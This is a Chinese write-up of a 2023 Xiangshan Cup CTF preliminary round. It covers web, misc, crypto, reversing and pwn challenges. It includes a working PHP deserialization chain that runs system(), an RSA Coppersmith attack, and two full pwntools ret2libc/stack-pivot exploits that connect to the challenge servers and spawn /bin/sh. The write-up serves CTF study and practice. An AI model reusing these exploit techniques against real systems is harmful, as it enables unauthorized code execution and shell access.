2023年香山杯初赛wp
前言
以H2SHTEAM
的身份打了这次比赛,感谢队友,最终进学生组前40了(下图是总榜的排名截图)
希望能去次广东
WEB
PHP_unserialize_pro
查看源码,很明显的php反序列化
payload生成如下,然后data传参就出flag
<?php
class Welcome
{
public $name;
public $arg = 'welcome';
public function __construct()
{
$this->name = 'Wh0 4m I?';
}
public function __destruct()
{
if ($this->name == 'A_G00d_H4ck3r') {
echo $this->arg;
}
}
}
class G00d
{
public $shell;
public $cmd;
public function __invoke()
{
$shell = $this->shell;
$cmd = $this->cmd;
if (preg_match('/f|l|a|g|\*|\?/i', $cmd)) {
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}
class H4ck3r
{
public $func;
public function __toString()
{
$function = $this->func;
$function();
return "test";
}
}
$welcome = new Welcome();
$good = new G00d();
$hacker = new H4ck3r();
$welcome->arg = $hacker;
$welcome->name = "A_G00d_H4ck3r";
$hacker->func = $good;
$good->shell = "system";
// 查看根目录下的文件(按顺序排列): dir -1 /
// 读 f1ag的命令如下
$good->cmd = "more /$(dir -1 / | sed -n 5p)";
echo serialize($welcome);
MISC
签到
aW9kant6aDFmMHAzXzJfRndpfQ==
base64解密获取iodj{zh1f0p3_2_Fwi}
凯撒密码解密,偏移量为3
CRY
lift
查了很久,发现这题和一个论文相关,论文链接
同时参考 强网杯2022 factor的wp
接下来我们开始解析代码
import os
import gmpy2
from Crypto.Util.number import *
import random
from secrets import flag
def pad(s,l):
return s + os.urandom(l - len(s))
def gen():
g = getPrime(8)
while True:
p = g * random.getrandbits(138) + 1
if isPrime(p):
break
while True:
q = g * random.getrandbits(138) + 1
if isPrime(q):
break
N = p ** 5 * q
phi = p ** 4 * (p - 1) * (q - 1)
d = random.getrandbits(256)
e = inverse(d, phi)
E = e * g
hint = gmpy2.gcd(E, phi)
return N, E, hint
flag = pad(flag,64)
m = bytes_to_long(flag)
n,e,hint = gen()
c = pow(m,e,n)
gen()部分,由于
d = random.getrandbits(256)
e = inverse(d, phi)
E = e * g
hint = gmpy2.gcd(E, phi)
因此g=hint
剩下的核心是论文部分,首先是一个定理
由于
$$
gcd(e,phi)=1
$$
恒成立
因此一定存在x,y使得
$$
ex-\phi(n)y=1
$$
又因为
$$
ed=1+k\phi(n)
$$
因此x即为d,y即为k
又因为
所以我们可以用coppersmith定理求解方程,代码如下
#sagemath
from Crypto.Util.number import *
hint = 251
n = 108960799213330048807537253155955524262938083957673388027650083719597357215238547761557943499634403020900601643719960988288543702833581456488410418793239589934165142850195998163833962875355916819854378922306890883033496525502067124670576471251882548376530637034077
e = 3359917755894163258174451768521610910491402727660720673898848239095553816126131162471035843306464197912997253011899806560624938869918893182751614520610693643690087988363775343761651198776860913310798127832036941524620284804884136983215497742441302140070096928109039
c = 72201537621260682675988549650349973570539366370497258107694937619698999052787116039080427209958662949131892284799148484018421298241124372816425123784602508705232247879799611203283114123802597553853842227351228626180079209388772101105198454904371772564490263034162
g=hint
print(n.nbits())
print(float(256/n.nbits()))
R.<x>=Zmod(n)[]
f=e*x//g-1
f=f.monic()
for i in range(1000):
res=f.small_roots(X=2^i,beta=0.5)
print(res)
这里多项式e实际上是gen()中的E,因此要整除g
参数X直接爆破,beta=0.5,最终求出了res也就是d的值
有了d我们就可以直接利用gcd分解n
$$
p^4=gcd(ed-1,n)
$$
因此正常解密可以得到
$$
m^gmodn
$$
#sagemath
res=39217838246811431279243531729119914044224429322696785472959081158748864949269
pr=gcd(e*res//g-1,n)
print(pr.nbits())
p=pow(pr,1/4)
print(p)
q=n//p^5
print(q)
p=69367143733862710652791985332025152581988181
q=67842402383801764742069883032864699996366777
assert p^5*q==n
phi = p^4 * (p - 1) * (q - 1)
d = inverse_mod(e//251, phi)
c=pow(c,d,n)
接下来由于phi和g不互素,由于
$$
n=p^5*q
$$
因此直接在模p^5和q下开g次方,再利用中国剩余定理求解,利用flag头找到我们的flag即可
r1=Zmod(p^5)(c).nth_root(g,all=True)
r2=Zmod(q)(c).nth_root(g,all=True)
for i in r1:
for j in r2:
res=crt([int(i),int(j)],[p^5,q])
res=long_to_bytes(int(res))
if b'flag' in res:
print(long_to_bytes(int(res)))
得到
因此flag为flag{4b68c7eece6be865f6da2a4323edd491}
RE
url从哪儿来
这题一开始还用resourcehacker拿文件来着,后来发现他可以自己生成,就直接动调做了。经典的样本分析准备工作~
断点下在这,知道他会在buffer指向的地址生成一个文件,让程序跑完,能看到这个文件
ida打开,因为它问url是什么,所以我们直接看szurl
结果这个不是flag,看到url问我们是如何解密的,所以我们回到上面那一堆数据里面,我们看一下v13
flag就在这
Pwn
Move
栈迁移到bss段的skdd,泄露puts,libcsearcher查到puts的libc是2.27,glibc-all-in-one下一个出来,然后返回main函数
在skdd里写system("/bin/sh"),本来是想再栈迁移一遍,结果发现直接do_system了,稍微修改了一下就getshell了
# exp头 ---------------------------------------------------------------
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
domain_name = '59.110.125.41'
port = 45341
file = './pwn'
io = remote(domain_name,port)
# io = process(file)
# gdb.attach(io, 'breakpoint main')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')
# ---------------------------------------------------------------------
payloadload = b'\x78\x56\x34\x12'
bss_addr = 0x4050A0
lea_addr = 0x4012E0
junk = 0x30
pop_rdi = 0x401353
start_addr = 0x401264
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
bss_payloadload = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
io.sendafter('again!\n',bss_payloadload)
io.sendafter('number',payloadload)
# 栈劫持 ---------------------------------------------------------------
payloadload = b'a'*junk + p64(bss_addr-8) + p64(lea_addr)
# gdb.attach(io)
io.send(payloadload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('puts_addr ---> ',hex(puts_addr))
# libc = LibcSearcher('puts',puts_addr)
# libc_base = puts_addr - libc.dump('puts')
# sys_addr = libc_base + libc.dump('system')
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print('libc_base ---> ',hex(libc_base))
print('sys_addr ---> ',hex(sys_addr))
# bin_sh = libc_base + libc.dump('str_bin_sh')
# ---------------------------------------------------------------------
# sh_addr = 0x402027
ret_addr = 0x40101a
bss_payloadload = p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
# gdb.attach(io)
io.sendafter('again!\n',bss_payloadload)
# payloadload = b'\x78\x56\x34\x12'
# io.sendafter('number',payloadload)
# payloadload = b'a'*junk + p64(bss_addr-8) + p64(lea_addr)
# io.send(payloadload)
io.interactive()
'''
0x000000000040134c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040134e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401350 : pop r14 ; pop r15 ; ret
0x0000000000401352 : pop r15 ; ret
0x000000000040134b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040134f : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040119d : pop rbp ; ret
0x0000000000401353 : pop rdi ; ret
0x0000000000401351 : pop rsi ; pop r15 ; ret
0x000000000040134d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
'''
Pwthon
Cpython pwn
核心逻辑在.so文件里,盲打试到有格式化字符串,测试出栈大小,泄露出必要的信息就能ret2libc了
gift泄露基地址和返回地址
格式化字符串泄露canary
通过puts泄露libc
ret2libc
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
domain_name = '39.106.48.123'
port = 29572
# file = './pwn'
io = remote(domain_name,port)
# io = process(file)
# gdb.attach(io, 'breakpoint main')
# elf = ELF('./pwn')
# libc = ELF('.bc-2.27.so')
io.sendlineafter(b'>',b'0')
io.recvuntil(b'gift')
gift = int(io.recvuntil('\n'),16)
base = gift- 0x68B0
print('base',base)
print('gift',gift)
io.sendline(b'%p-'*31+b'q%pq')
io.recvuntil(b'q')
canary = int(io.recvuntil(b'q',drop='Ture'),16)
print('canary',canary)
#io.recvuntil('\n')
pop_rdi = 0x0000000000003f8f + base
pop_rsi = 0x0000000000003cd9 + base
bss = 0x016FC0+0x100+base
read = 0x3940+base
write = 0x03760+base
op = 0x3AE0+base
flag = 0x000000000003c257+base
puts = 0x3710+base
ret = 0x000000000000301a+base
#payload = p64(0)*0x16+p64(canary)+p64(gift)
payload = p64(0)*33+p64(canary)*2+p64(pop_rdi)+p64(0x16078+base)+p64(puts)+p64(base+0x99f0)
#payload = b'a'
io.send(b'')
print("len ",len(payload))
io.sendline(payload)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc=LibcSearcher('puts',puts_addr)
offset=puts_addr-libc.dump('puts')
binsh=offset+libc.dump('str_bin_sh')
system=offset+libc.dump('system')
payload2 = p64(0)*32+p64(canary)*3+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(b'a')
io.sendline(payload2)
io.interactive()